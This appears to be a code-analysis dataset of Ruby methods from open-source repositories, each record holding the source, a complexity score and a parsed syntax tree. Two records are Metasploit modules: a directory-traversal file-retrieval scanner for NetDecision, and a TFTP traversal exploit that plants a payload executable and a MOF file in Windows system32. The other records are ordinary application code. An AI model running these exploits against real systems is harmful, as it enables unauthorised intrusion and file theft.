{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/netdecision_traversal.rb","start_line":50,"raw_source":"def run_host(ip)\n    trav = \"...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\\"\n\n    # In case the user doesn't realize he doesn't need to begin with \"\\\",\n    # we'll correct that for him\n    file = datastore['FILEPATH']\n    file = file[1, file.length] if file[0, 1] == \"\\\\\"\n\n    uri = \"/#{trav}#{file}\"\n    print_status(\"#{ip}:#{rport} - Retrieving #{file}\")\n\n    res = send_request_raw({\n      'method' => 'GET',\n      'uri' => uri\n    }, 25)\n\n    if res\n      print_status(\"#{ip}:#{rport} returns: #{res.code.to_s}\")\n    else\n      print_error(\"#{ip}:#{rport} - No response\")\n      return\n    end\n\n    if res.body.empty?\n      print_error(\"No file to download (empty)\")\n    else\n      fname = File.basename(datastore['FILEPATH'])\n      path = store_loot(\n        'netdecision.http',\n        'application/octet-stream',\n        ip,\n        res.body,\n        fname\n      )\n      print_status(\"File saved in: #{path}\")\n    end\n  end","complexity_score":40.58,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trav\",{\"type\":\"str\",\"children\":[\"...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trav\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Retrieving \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" returns: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - No response\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No file to download (empty)\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"netdecision.http\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"a944b586-b69c-46cb-858f-72d019cf7464"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/tftp/distinct_tftp_traversal.rb","start_line":85,"raw_source":"def exploit\n    exe_name = \"#{rand_text_alpha(8..15)}.exe\"\n    exe = generate_payload_exe\n    mof_name = \"#{rand_text_alpha(8..15)}.mof\"\n    mof = generate_mof(mof_name, exe_name)\n    traversal = '../' * datastore['DEPTH'].to_i\n\n    print_status(\"Sending EXE (#{exe.length} bytes)\")\n    upload(\"#{traversal}\\\\WINDOWS\\\\system32\\\\#{exe_name}\", exe)\n    register_file_for_cleanup(exe_name)\n\n    # Let the TFTP server idle a bit before sending another file\n    select(nil, nil, nil, 3)\n\n    print_status(\"Sending MOF (#{mof.length} bytes)\")\n    upload(\"#{traversal}\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{mof_name}\", mof)\n    register_file_for_cleanup(\"wbem\\\\mof\\\\good\\\\#{mof_name}\")\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exe_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mof_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"str\",\"children\":[\".mof\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mof\",{\"type\":\"send\",\"children\":[null,\"generate_mof\",{\"type\":\"lvar\",\"children\":[\"mof_name\"]},{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending EXE (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"str\",\"children\":[\"\\\\WINDOWS\\\\system32\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending MOF (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"str\",\"children\":[\"\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mof\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wbem\\\\mof\\\\good\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]}]}]}]}","id":"fafbffe1-fb4a-4278-ae1f-8b66a2d772f8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":835,"raw_source":"def test_maximum_with_not_auto_table_name_prefix_if_column_included\n    Company.create!(name: \"test\", contracts: [Contract.new(developer_id: 7)])\n\n    assert_equal 7, Company.includes(:contracts).maximum(:developer_id)\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_maximum_with_not_auto_table_name_prefix_if_column_included\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contracts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Contract\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id\"]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[7]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"contracts\"]}]},\"maximum\",{\"type\":\"sym\",\"children\":[\"developer_id\"]}]}]}]}]}","id":"b377507d-5ecd-4f1b-add3-98999f50041b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/builder/new_review.rb","start_line":16,"raw_source":"def project\n        review.project\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"review\"]},\"project\"]}]}","id":"0bc50e8e-6469-49df-b587-2ee15dea9540"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/single_line_methods.rb","start_line":60,"raw_source":"def allow_empty?\n          cop_config['AllowIfMethodIsEmpty']\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowIfMethodIsEmpty\"]}]}]}","id":"d90b834f-1ba6-4068-997c-7a8491c7d8a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/service_accounts_service.rb","start_line":31,"raw_source":"def add_for_project(ref, gcp_project_id, service_account, service_account_key, is_protected)\n        create_or_replace_project_vars(\n          ref,\n          'GCP_PROJECT_ID',\n          gcp_project_id,\n          is_protected\n        )\n        create_or_replace_project_vars(\n          ref,\n          'GCP_SERVICE_ACCOUNT',\n          service_account,\n          is_protected\n        )\n        create_or_replace_project_vars(\n          ref,\n          'GCP_SERVICE_ACCOUNT_KEY',\n          service_account_key,\n          is_protected\n        )\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_for_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"arg\",\"children\":[\"gcp_project_id\"]},{\"type\":\"arg\",\"children\":[\"service_account\"]},{\"type\":\"arg\",\"children\":[\"service_account_key\"]},{\"type\":\"arg\",\"children\":[\"is_protected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_or_replace_project_vars\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"str\",\"children\":[\"GCP_PROJECT_ID\"]},{\"type\":\"lvar\",\"children\":[\"gcp_project_id\"]},{\"type\":\"lvar\",\"children\":[\"is_protected\"]}]},{\"type\":\"send\",\"children\":[null,\"create_or_replace_project_vars\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"str\",\"children\":[\"GCP_SERVICE_ACCOUNT\"]},{\"type\":\"lvar\",\"children\":[\"service_account\"]},{\"type\":\"lvar\",\"children\":[\"is_protected\"]}]},{\"type\":\"send\",\"children\":[null,\"create_or_replace_project_vars\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"str\",\"children\":[\"GCP_SERVICE_ACCOUNT_KEY\"]},{\"type\":\"lvar\",\"children\":[\"service_account_key\"]},{\"type\":\"lvar\",\"children\":[\"is_protected\"]}]}]}]}","id":"ff1a81cb-0332-4b28-9c21-1bd020da661c"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/images/generate_social_image_magickally.rb","start_line":12,"raw_source":"def initialize(resource)\n      @resource = resource\n      @logo_url = Settings::General.logo_png\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logo_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"logo_png\"]}]}]}]}","id":"a320db47-db5e-4b79-9c97-d7dcee96dd3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/clusters_helper.rb","start_line":8,"raw_source":"def js_clusters_list_data(clusterable)\n    {\n      ancestor_help_path: help_page_path('user/group/clusters/_index.md', anchor: 'cluster-precedence'),\n      endpoint: clusterable.index_path(format: :json),\n      img_tags: {\n        aws: { path: image_path('illustrations/logos/amazon_eks.svg'), text: s_('ClusterIntegration|Amazon EKS') },\n        default: { path: image_path('illustrations/logos/kubernetes.svg'), text: _('Kubernetes Cluster') },\n        gcp: { path: image_path('illustrations/logos/google_gke.svg'), text: s_('ClusterIntegration|Google GKE') }\n      },\n      clusters_empty_state_image: image_path('illustrations/empty-state/empty-cloud-md.svg'),\n      empty_state_image: image_path('illustrations/empty-state/empty-environment-md.svg'),\n      empty_state_help_text: clusterable.empty_state_help_text,\n      add_cluster_path: clusterable.connect_path,\n      new_cluster_docs_path: clusterable.new_cluster_docs_path,\n      can_add_cluster: clusterable.can_add_cluster?.to_s,\n      can_admin_cluster: clusterable.can_admin_cluster?.to_s,\n      display_cluster_agents: display_cluster_agents?(clusterable).to_s,\n      certificate_based_clusters_enabled: clusterable.certificate_based_clusters_enabled?.to_s,\n      default_branch_name: default_branch_name(clusterable),\n      full_path: clusterable_full_path(clusterable),\n      is_group: clusterable.is_a?(Group).to_s,\n      kas_address: Gitlab::Kas.external_url,\n      kas_install_version: Gitlab::Kas.install_version_info,\n      kas_check_version: Gitlab::Kas.display_version_info\n    }\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"js_clusters_list_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clusterable\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestor_help_path\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"user/group/clusters/_index.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"cluster-precedence\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"index_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"img_tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aws\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/logos/amazon_eks.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ClusterIntegration|Amazon EKS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/logos/kubernetes.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Kubernetes Cluster\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gcp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/logos/google_gke.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ClusterIntegration|Google GKE\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters_empty_state_image\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-cloud-md.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty_state_image\"]},{\"type\":\"send\",\"children\":[null,\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-environment-md.svg\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty_state_help_text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"empty_state_help_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"add_cluster_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"connect_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_cluster_docs_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"new_cluster_docs_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_add_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"can_add_cluster?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_admin_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"can_admin_cluster?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_cluster_agents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"display_cluster_agents?\",{\"type\":\"lvar\",\"children\":[\"clusterable\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"certificate_based_clusters_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"certificate_based_clusters_enabled?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_branch_name\"]},{\"type\":\"send\",\"children\":[null,\"default_branch_name\",{\"type\":\"lvar\",\"children\":[\"clusterable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[null,\"clusterable_full_path\",{\"type\":\"lvar\",\"children\":[\"clusterable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusterable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kas_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"external_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kas_install_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"install_version_info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kas_check_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"display_version_info\"]}]}]}]}","id":"7c55c4e6-06e1-4d45-9b0f-f66ca0648111"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":130,"raw_source":"def test_process_block_pass__call\n    sexp = s(:call, nil, :a,\n             s(:block_pass,\n               s(:call, nil, :b)))\n\n    assert_process(sexp, 3.4,\n                   :a              => 1.0,\n                   :block_pass     => 1.2,\n                   :b              => 1.2)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_block_pass__call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sexp\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"block_pass\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_process\",{\"type\":\"lvar\",\"children\":[\"sexp\"]},{\"type\":\"float\",\"children\":[3.4]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"block_pass\"]},{\"type\":\"float\",\"children\":[1.2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"float\",\"children\":[1.2]}]}]}]}]}]}","id":"75af3fe4-d942-4a8a-a0ae-062a875e20e9"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20200821103718_remove_orphaned_display_ads_by_organization.rb","start_line":3,"raw_source":"def run\n      # Delete all DisplayAds belonging to Organizations that don't exist anymore\n      ActiveRecord::Base.connection.execute(\n        <<~SQL.squish,\n          DELETE FROM display_ads\n          WHERE organization_id NOT IN (SELECT id FROM organizations);\n        SQL\n      )\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM display_ads\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE organization_id NOT IN (SELECT id FROM organizations);\\n\"]}]},\"squish\"]}]}]}","id":"0216c72f-cf87-471a-a707-14657f3246e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/usage_trends/measurement.rb","start_line":56,"raw_source":"def self.measurement_identifier_values\n        identifiers.values\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"measurement_identifier_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers\"]},\"values\"]}]}","id":"9641bece-3d72-4825-9b35-52db8a683446"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/opt_base.rb","start_line":156,"raw_source":"def invalid_value_length?(value)\n      if !value.nil? && !max_length.nil?\n        value.length > max_length\n      end\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_value_length?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_length\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]},\">\",{\"type\":\"send\",\"children\":[null,\"max_length\"]}]},null]}]}","id":"2c46cf9e-d407-4c32-a369-43e05633ca22"}
